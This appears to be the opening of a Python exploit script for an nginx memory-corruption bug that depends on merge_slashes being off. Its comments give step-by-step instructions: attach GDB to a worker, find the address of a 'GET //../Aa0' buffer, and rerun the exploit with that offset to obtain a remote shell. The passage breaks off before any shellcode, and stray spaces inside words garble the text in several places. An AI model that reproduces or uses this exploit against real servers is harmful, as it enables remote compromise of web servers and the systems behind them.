# At that point, merely dump the *r; captu re the value for the data pointer
# (it'll be the one with "GET //../Aa0") and add 131 to it (decimal 131 to t he
# hex pointer value). That should give you a good area to test with. You might
# want to use the range at that point and set the last octet to 00.
#
# NOTE: you'll need a configuration with me rge_slashes enabled. I haven't yet
# found a "magic" combination that would ca use the state machine to do
# what I want to make the bug trigger. On ce I do, you can bet BUG will be
# replaced.
#Basically, on BT4:
#- compile
#- edit the configuration to enable merge sla shes (just insert a line above the sendpage / sendfile config option "merge_slashes off;")
#- Launch nginx, and attach GDB to the worke r
#- Send the exploit at it with offset 0x1111 1111
#- When the worker gets a sigsegv, it will be on a line which looks like "if (ctx->offset)", at that point type "p *r"
#- In the r data structure will be a few d ifferent fields, one which is a buffer that contains "GET //../Aa0Aa1Aa2..". This buffer has an address (le ts say 0x8c1d32f).
#- Save off this address, and detach from th e worker. A new one will spawn (the "manag er" process will keep it going).
#- At this point, rerun the exploit, setting the offset to 0x8c1d300 and adding the -b flag
#- In a minute or two, you should be given the shell.
import os
import sys
import socket
import select
import struct
import time
import urllib
REQUEST_METHOD='GET '
# NOTE - this is a 32-bit null pointer. A 64-bit version would be 8-bytes (but take care to re-verify the structures)
NULLPTR='\x00\x00\x00\x00'
# NOTE - this shellcode was shamelessly stolen from the www